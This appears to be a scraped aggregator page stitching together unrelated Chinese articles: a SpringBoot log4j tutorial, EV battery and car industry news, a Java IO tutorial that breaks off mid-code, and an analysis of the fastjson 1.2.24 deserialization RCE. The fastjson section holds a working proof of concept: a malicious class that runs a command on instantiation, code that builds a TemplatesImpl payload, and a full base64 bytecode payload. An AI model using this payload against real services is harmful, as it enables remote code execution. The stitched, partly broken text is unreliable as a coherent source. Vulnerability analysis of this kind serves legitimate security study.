SpringBoot系列之切換log4j日誌框架

SpringBoot系列之使用切換log4j日誌框架

ok,在pom文件右鍵->Diagrams->show Dependencies….,如圖,找到spring-boot-starter-logging,可以看到SpringBoot的日誌實現默認依賴與logback,ok,如果你對這些知識不是很理解的,建議先看我Springboot專欄的日誌系列博客:

本博客要實現的是切換默認日誌框架為log4j,當然是不建議這樣做的,因為log4j有性能問題,所以其作者才開發了logback,不過作為學習的話,還是可以學一下怎麼切換Springboot默認的日誌框架

先去拿一張圖:圖示,切換日誌框架,為了避免衝突,一般都是先排除日誌框架的實現jar,然後再將之前博客提到的偷梁換柱jar,比如log4j-to-slf4j.jar等等先排除,然後再引入對應的日誌實現jar,如圖所示的slf4j-log4j12.jar,因為本博客並非入門教程,所以學習之前請先參考我之前Springboot日誌方面的博客,再來學習

ok,基於slf4j官方提供的知識,我們就可以實踐了,首先選中logback-classic.jar(logback實現jar)、log4j-to-slf4j.jar(將log4j API強制切換回slf4j的偷梁換柱jar),然後右鍵,選擇exclusion

ok,再次打開pom文件,可以看到idea自動幫我們exclusion一些jar了

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <artifactId>logback-classic</artifactId>
                    <groupId>ch.qos.logback</groupId>
                </exclusion>
                <exclusion>
                        <artifactId>log4j-to-slf4j</artifactId>
                    <groupId>org.apache.logging.log4j</groupId>
                </exclusion>
            </exclusions>
        </dependency>

ok,避免日誌衝突,exclusion了logback的實現jar和偷梁換柱的log4j-to-slf4j之後,我們還需要引入log4j的實現jar

<dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
        </dependency>

ok,這是slf4j官網的說法,但是我發現在一些舊的版本SpringBoot是有提供spring-boot-starter-log4j這個場景啟動器的,所以我們可以更簡便的做log4j引入

直接exclusion spring-boot-starter-logging:

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

然後直接引入log4j的場景啟動器,建議加上版本,因為有些版本並沒有提供log4j配置,本博客是換回1.5.7才支持的,2.2.1的版本仲裁都沒提供對應版本的

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j</artifactId>
            <version>1.3.8.RELEASE</version>
        </dependency>

ok,然後在resources直接丟log4j.properties

# LOG4J rootCategory config
log4j.rootCategory=INFO, stdout, file
# LOG4J console config
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %5p %c{1}:%L - %m%n

# root日誌輸出
log4j.appender.file=org.apache.log4j.DailyRollingFileAppender
log4j.appender.file.file=logs/springboot.log
log4j.appender.file.DatePattern='.'yyyy-MM-dd
log4j.appender.file.layout=org.apache.log4j.PatternLayout
log4j.appender.file.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %5p %c{1}:%L - %m%n

啟動SpringBoot日誌:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

EV商機夯!Toray電池材料傳大增產、擬在美國建新廠

日經新聞、日刊工業新聞1日報導,Toray計畫在2020年結束前總計砸下約1,200億日圓擴增車用鋰離子電池關鍵材料「分隔膜(separator、見附圖)」產能,目標將分隔膜年產能擴增至19.5億平方公尺、將達現行(約4億平方公尺)的約5倍。Toray目前在日本及南韓生產分隔膜,且已在南韓工廠進行增產工程,計畫在2017年度末(2018年3月底)將分隔膜年產能提高至約6.5億平方公尺。

報導指出,因法國、英國紛紛表明計畫在2040年停售汽柴油車,提振電動車(EV)有望急速普及,故Toray計畫在2019年於歐洲興建一座年產能達8,000萬平方公尺的新工廠,且除了歐洲之外,Toray也計畫在特斯拉(Tesla)等EV廠抬頭的美國興建新工廠。

特斯拉平價電動車「Model 3」於7月28日正式交車。而為了因應特斯拉增產所需,住友金屬礦山(Sumitomo Metal Mining)於7月28日宣布,將追加增產鋰離子電池正極材料「鎳酸鋰」,目標將其月產能擴增至現行的2.5倍。

鋰離子電池4大關鍵材料分別為正極材、負極材、分隔膜和電解液,而這些電池材料皆由日系廠商握有高市佔率,其中,在全球分隔膜市場上,Toray為第2大廠、僅次於旭化成(Asahi Kasei)。

日刊工業新聞6月23日報導,因車廠加快電動車(EV)的研發腳步、帶動電池材料市場成長速度超乎預期,故旭化成計畫上修鋰離子電池關鍵材料「分隔膜」的增產計畫,目標在2020年結束前將分隔膜年產能最高擴增至15億平方公尺(m2)、將達現行的2.5倍,且將遠高於原先規劃的11億m2目標,期望藉由積極投資、鞏固全球龍頭位置。預估追加擴產所需的投資額約300億日圓。

旭化成於3月30日宣布,因電動車(EV)、油電混合車(HV)等車用鋰離子電池需求預估將呈現急速增長,故決議擴增鋰離子電池關鍵材料「分隔膜」產能,計畫投下約150億日圓,在守山製造所(滋賀縣守山市)增設年產能約2億平方公尺(m2)的分隔膜產線,並預計於2019年度上半年商轉。旭化成指出,待上述增產工程完工後,該公司整體分隔膜年產能將從現行的約6.6億m2提高3成至約8.6億m2。

根據日本市調機構富士經濟(Fuji Keizai)預估,2020年全球分隔膜市場規模將增至3,000億日圓、將達2015年的2倍水準,而EV、HV等車用用途是推動分隔膜需求急增的最大功臣,預估2020年車用分隔膜佔整體市場比重將達約45%。

富士經濟6月22日公布調查報告指出,預估2030年時EV年銷售量將增至407萬台、超越HV(2030年銷售量預估為391萬台),且之後雙方的差距將持續擴大。富士經濟預估,在中國需求增加加持下,2035年EV全球銷售量將擴大至630萬台、將達2016年的13.4倍(較2016年增加12.4倍)。

(本文內容由授權使用。圖片出處:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

上海新能源汽車展8月23舉行 多款PHEV將亮相

由充電設施線上網、廣東省充電設施協會、廣東省新能源汽車產業協會和振威展覽股份聯合主辦,中國土木工程學會城市公共交通學會協辦的“2017上海國際新能源汽車產業博覽會”將於8月23-25日在上海新國際博覽中心隆重舉行,500多家企業將展出各類新能源汽車、電池、電機、電控和充電設施相關產品。其中,上汽、吉利等大牌車企將攜多款PHEV代表性車型亮相。

PHEV(混合動力汽車)因其高續航里程、有較強的節油減排能力,並且可獲得國家財政補貼而受廣大人民群眾的喜歡。據公開資料顯示,2016年,我國共銷售PHEV80352輛,2017年上半年銷售33000輛。雖然PHEV的產銷量並沒有純電動汽車可觀,但是這並不代表PHEV沒有發展潛力。

 

日前,為了推動我國新能源汽車發展的長效機制,促進新能源汽車的研發和推廣,加強汽車產品節能減排的管理,工信部發佈了《乘用車企業平均燃料消耗量與新能源積分並行管理辦法》(以下簡稱雙積分辦法)。雙積分辦法中對PHEV的積分形式有了明確的規定,也就是說,車企想要獲得積分,不僅僅是純電動汽車這一條路,PHEV同樣能達到積分的目的。另一方面,發展PHEV車型,還可以給消費者提供更多的車型選擇以迎合中國汽車市場消費者需求。

 

此外,插電式混合動力產品對於我國現有汽車車型結構優化,同時對汽車節能將發揮重大意義,利於我國汽車工業的節能減排。同時,混合動力車型對於實現油耗目標值具有較強可行性,尤其是節油效率達40~60%的PHEV車型。因此,在當前政策法規環境下,PHEV車型既能擴大新能源汽車產品結構比例,又能提升單車的節油率,某種意義上,發展PHEV車型是必然。

 

本屆展會上,上汽集團旗下榮威品牌將攜eRX5、ei6和e950等三款PHEV車型亮相。eRX5為一款SUV車型,綜合工況純電續駛里程60KM,油電合計續航里程達650KM,此款車型榮獲DESIGN AWARD2017設計大獎;ei6為一款轎車型,補貼後售價為16.58萬元,綜合工況純電續航里程53KM,油電合計續航里程達705KM;e950綜合工況油耗1.7L/100KM,綜合工況純電續駛里程60KM,油電合計續航里程超過600KM。

 

 

此外,吉利將攜帝豪PHEV亮相本次展會。此次展示是帝豪PHEV進入上海新能源汽車目錄後首度亮上海。帝豪PHEV在中控部分增加了旋鈕式檔位,使車輛可在純電動、混合動力等模式中進行切換,增強了操作的便利性及駕駛體驗。該款車型綜合工況純電續駛里程為61KM,油電合計續駛里程達705公里。

 

 

儘管國內堅持發展新能源車須以純電驅動為主要戰略取向,PHEV車型的發展不受《關於完善汽車投資項目管理的意見》重視,但是車企仍需要抓住這兩年的黃金發展時間,堅持開源,多生產插電式混合動力車型。既要滿足企業所面對的雙積分政策,同時解決市場對新能源汽車續駛里程的高期望,補貼減少對新能源汽車產業產生的負面效應等痛點。因此,本次展會的舉辦對於新能源汽車混合動力產品具有積極的展示作用。促進各界人士對PHEV產品的認識及瞭解。

 

參觀預登記,請點擊:http://www.zhenweiexpo.com/visitors/evse/

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

豐田搭檔7-Eleven,開發氫燃料物流新車

日本汽車大廠豐田近年漸主打氫燃料電池車市場,自2014 年底推出首款燃料電池汽車Mirai 後,2016 年再推氫燃料大巴士Toyota FC Bus,並預計在2020 年的東京奧運會期間出售100 輛,用於接送選手往返賽地。現在,豐田再找上當地連鎖便利商店龍頭7-11 合作,嘗試為冷藏物流車輛搭載氫燃料電池,為節能減碳目標貢獻一己之力。

7-11 和豐田汽車在8 月9 日簽署了二氧化碳減排基本協議,7-11 將引進豐田以氫氣開發的冷藏物流新車輛和發電系統,其中製冷/冷凍機組及車輛本身都可由氫燃料電池供電。此外,他們還將引入可充電的汽車電池,發生自然災害之際可成為應急電源,比如停電時可做為避難場所的電力來源。

氫燃料電池在消耗過程中只會產生水,不會產生任何溫室氣體,但與使用可充電鋰離子電池做為動力來源不同,氫燃料電池車是靠著氫分子和氧分子的化學反應產生電流,再將電力送到鋰電池組和馬達驅動車輛前進。

2020 年東京奧運會期間出售的氫燃料巴士每台約100 萬美元,一台巴士備有600 公升的氫氣、一對電動馬達,提供200 公里續航力,總功率為306 匹馬力和494 磅英尺(670 牛頓米),僅需10 分鐘就能將氫氣加滿。

同時,豐田也在美國加州進行氫燃料電池供電的半掛卡車研究。不過,美國目前仍缺乏加氫站等基礎設施建設,除加州外,燃料電池車想要在全美進行銷售幾乎不可能,而整個加州也僅有不到20 個加氫站,許多站點還會因為維修問題關閉數週。

此外,氫氣並不是可從自然界中直接抓取的氣體,目前主要透過電解水或甲烷製氫兩種方式取得,唯電解水生成氫氣的能源轉化率約25% 左右,而甲烷製氫的代價是產生一氧化碳,並沒有比較划算。

不過, 豐田北美燃料電池開發項目經理Giorgio Zoia 胸有成竹地說,豐田的氫燃料電池將可以為重型運輸帶來革新風貌。目前已有廠商嘗試用太陽能發電來電解水,Zoia 表示,加州的太陽能農場在白天產生過多的電,加州電網有超載危機,如果這些多餘的太陽能發電被拿來做為電解水供電,並將產生的氫氣送到洛杉磯供電,則氫基工業基礎設施將開始成形。

(合作媒體:。圖片出處:Toyota)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

中國電動車專委會:固態電池將是下個趨勢產業

中國北京理工大學電動車輛國家工程實驗室、中國電工技術學會電動車輛專業委員會委員孫立清17日於第六屆中國鋰電新能源產業生態大會接受中證網專訪時表示,固態電池將是下一個「風口」,這主要因此類電池將使電動汽車充電時間短,續航里程長,而這正是新能源電池未來主要發展趨勢。

孫立清認為,未來新能源汽車電池領域將會呈現多元化發展,多種材料電池共生共存,而矽碳電池發展空間較大,因其原材料取之不盡。

孫立清還指出,新能源汽車頻繁的事故說明了新能源汽車還有非常大的改進空間,新能源汽車發展任重道遠,未來企業需要在提升品質、增加效率、確保安全、促進產量方面下功夫。其中,增加效率方面,需要達成輕量化、高效動力系統、能量再生回饋;在確保安全方面,要確保整車安全、電池組成組安全、高壓控制安全;促進產量方面,則可從新型製造技術、自動化管理、裝備三方面著手。

(本文內容由授權使用)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

看好電動車!LG電子擬砸2500萬美元、赴美建零件廠

看好電動車前景,LG電子23日宣布斥資2,500萬美元,要在美國興建電動車零件廠房。

The Investor、ET News報導,LG廠房將座落在底特律郊區Hazel Park,預定2018年初完工,一開始將為電動車供應電池組,未來還會提供更多關鍵零組件。

LG指出,去年美國的電動車合併銷售量為104,178台,跟中國(電動車銷售量為257,929台)、歐洲(108,649台)並列全球前三大電動車市場。

LG估計,至2020年為止,美國電動車市場每年平均可望成長65.5%。

這座廠房除了將供應通用汽車(GM)的電動車「Bolt」之外,也不排除向福特(Ford)、飛雅特克萊斯勒汽車(Fiat Chrysler Automobiles, FCA)爭取電動車零件訂單。

Electrek,福斯汽車(Volkswagen)研發部主管Ulrich Eichhorn 6月底就曾預估,業界需要多達40座規模跟特斯拉Gigafactory類似的超大電池廠,才能滿足電動車需求,假如新建礦場、工廠無法如期上線,那麼市場恐陷入短缺。

根據Eichhorn的估計,到了2025年,光是福斯集團就需要用到200 GWh的車用電池,至於其他汽車製造商,屆時也會有25%的產能屬於電動車。他是以Gigafactory的年產能可達35 GWh進行推估。

(本文內容由授權使用。圖片出處:public domain CC0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

fastjson 1.2.24反序列化導致任意命令執行漏洞分析記錄

環境搭建:

漏洞影響版本:

fastjson在1.2.24以及之前版本存在遠程代碼執行高危安全漏洞

環境地址:

正常訪問頁面返回hello,world~

 

此時抓包修改content-type為json格式,並post payload,即可執行rce

 此時就能夠創建success文件

前置知識:

研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

這裏user為定義好的一個類,實際上fastjson提供給我們的也就是將對象快速轉換為可以傳輸的字符串,當然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,

可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其實例化對象的屬性值,再通過JSON.parse()函數即可通過fastjson序列化后的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的對象,否則只能恢復到JsonObject對象

漏洞分析:

這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,那麼這個類的構造函數是我們可控的,就能夠rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,因為在這會實例化該類,因此直接在其構造方法中calc即可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //將evilcode放在_bytecodes處
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{'name':"+text1+",'age':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 我們已經知道在反序列化解析json字符串時在parseobject時觸發

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

 在此下斷點,運行poc.java

此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理我們傳入的payload

 此時判斷我們傳入的features是否為null,這裏

我們已經制定了支持非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接着調用defaultJsonParser來進一步處理payload

 此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進

 此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是不是泛型數組類型的實例以及判斷type是不是類類型的實例,這裏兩處不滿足,所以調用parse.parse來解析

實際上此時又回到了

並且在此調用parseObject函數來處理我們的payload

接下來一部分就是語法解析,先匹配出了其中的雙引號”,

 比如先在parseObject函數中匹配出了@type

 匹配出@type標誌以後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是我們想要反序列化的類

 繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,

跟進此函數,則可以看到此時token為16並且text為我們的payload

 接下來會調用parseField函數來對json字符串中的一些key值進行匹配

 這個方法裏面會調用smartmatch來對key值進行一些處理,比如將_bytecodes的下劃線刪除

 當處理到_outputProperties字段時,步入其smartMatch方法

 此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,因為存在OutputProperties屬性

 

 此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,

 

 這裏首先判斷_name字段不能為空,這也是為啥payload裏面會設置一個_name字段

 接下來就會調用newInstance()函數來實例化對象了,可以看到此事要求實例化的對象時AbstractTranslet類的,那麼只需要讓我們的payload中的類繼承自該類即可, 

可以看到此時_transletIndex為零,因此此時實例化的就是我們構造的惡意類,

 

縮減后的整個調用鏈即為:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

參考:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

Java IO入門

目錄

我們從兩個方面來理解Java IO,數據源(流)、數據傳輸,即IO的核心就是對數據源產生的數據進行讀寫並高效傳輸的過程。

一. 數據源(流)

數據源可以理解為水源,指可以產生數據的事物,如硬盤(文檔、數據庫等文件…)、網絡(填寫的form表單、物聯感知信息..),在Java中有對文件及文件夾操作的類File,常用的文件方法如下:

public static void printFileDetail(File file) throws IOException {
    System.out.println("文件是否存在:" + file.exists());
    if(!file.exists()){
        System.out.println("創建文件:" + file.getName());
        file.createNewFile();
    }
    if(file.exists()){
        System.out.println("是否為文件:" + file.isFile());
        System.out.println("是否為文件夾:" + file.isDirectory());
        System.out.println("文件名稱:" + file.getName());
        System.out.println("文件構造路徑:" + file.getPath());
        System.out.println("文件絕對路徑:" + file.getAbsolutePath());
        System.out.println("文件標準路徑:" + file.getCanonicalPath());
        System.out.println("文件大小:" + file.length());
        System.out.println("所在文件夾路徑:" + file.getParentFile().getCanonicalPath());
        System.out.println("設置為只讀文件:" + file.setReadOnly());
    }
}
public static void main(String[] args) throws IOException {
    File file = new File("./遮天.txt");
    printFileDetail(file);
}

結果如下:

文件是否存在:false
創建文件:遮天.txt
是否為文件:true
是否為文件夾:false
文件名稱:遮天.txt
文件構造路徑:.\遮天.txt
文件絕對路徑:E:\idea-work\javase-learning\.\遮天.txt
文件標準路徑:E:\idea-work\javase-learning\遮天.txt
文件大小:0
所在文件夾路徑:E:\idea-work\javase-learning
設置為只讀文件:true

二. 數據傳輸

數據傳輸的核心在於傳輸數據源產生的數據,Java IO對此過程從兩方面進行了考慮,分別為輸入流和輸出流,輸入流完成外部數據向計算機內存寫入,輸出流則反之。

而針對輸入流和輸出流,Java IO又從字節和字符的不同,再次細分了字節流和字符流。

說明:Java中最小的計算單元是字節,沒有字符流也能進行IO操作,只是因為現實中大量的數據都是文本字符數據,基於此單獨設計了字符流,使操作更簡便。

4個頂層接口有了,接下來Java IO又從多種應用場景(包括了基礎數據類型、文件、數組、管道、打印、序列化)和傳輸效率(緩衝操作)進行了考慮,提供了種類眾多的Java IO流的實現類,看下圖:

當然我們不用都記住,而實際在使用過程中用的最多的還是文件類操作、轉換類操作、序列化操作,當然在此基礎上我們可以使用Buffered來提高效率(Java IO使用了裝飾器模式)。下面我們通過文件拷貝來簡單說明一下主要類的使用

    /**
     * 文件拷貝(所有文件,文檔、視頻、音頻、可執行文件...),未使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void slowlyCopyFile(String sourceFileName, String targetFileName) throws IOException{
        //獲取字節輸入流
        FileInputStream fileInputStream = new FileInputStream(sourceFileName);
        //File targetFile = new File(targetFileName);
        //獲取字節輸出流
        FileOutputStream fileOutputStream = new FileOutputStream(targetFileName);
        byte[] bytes = new byte[1024];
        //當為-1時說明讀取到最後一行了
        while ((fileInputStream.read(bytes)) != -1) {
            fileOutputStream.write(bytes);
        }
        fileInputStream.close();
        fileOutputStream.close();
    }
    
    /**
     * 文件拷貝(所有文件,文檔、視頻、音頻、可執行文件...),使用緩衝
     * @param sourceFileName 源文件路徑
     * @param targetFileName 拷貝后目標文件路徑
     * @throws IOException IO異常
     */
    public static void fastCopyFile(String sourceFileName, String targetFileName) throws IOException{
        //獲取字節輸入流
        FileInputStream fileInputStream = new FileInputStream(sourceFileName);
        //緩衝字節輸入流
        BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
        //獲取字節輸出流
        FileOutputStream fileOutputStream = new FileOutputStream(targetFileName);
        //緩衝字節輸出流
        BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream);
        byte[] bytes = new byte[1024];

        //當為-1時說明讀取到最後一行了
        while ((bufferedInputStream.read(bytes)) != -1) {
            bufferedOutputStream.write(bytes);
        }
        bufferedOutputStream.flush();
        bufferedInputStream.close();
        fileInputStream.close();
        bufferedOutputStream.close();
        fileOutputStream.close();
    }

    public static void main(String[] args) throws IOException {
        long startTime = System.currentTimeMillis();
        //文件215M
        slowlyCopyFile("D:\\Download\\jdk-8u221.exe","D:\\jdk-8u221.exe");//執行:1938ms
        fastCopyFile("D:\\Download\\jdk-8u221.exe","D:\\jdk-8u221.exe");//執行:490ms
        System.out.println(System.currentTimeMillis() - startTime);
    }
    /**
     * 文本文件拷貝,不使用緩衝
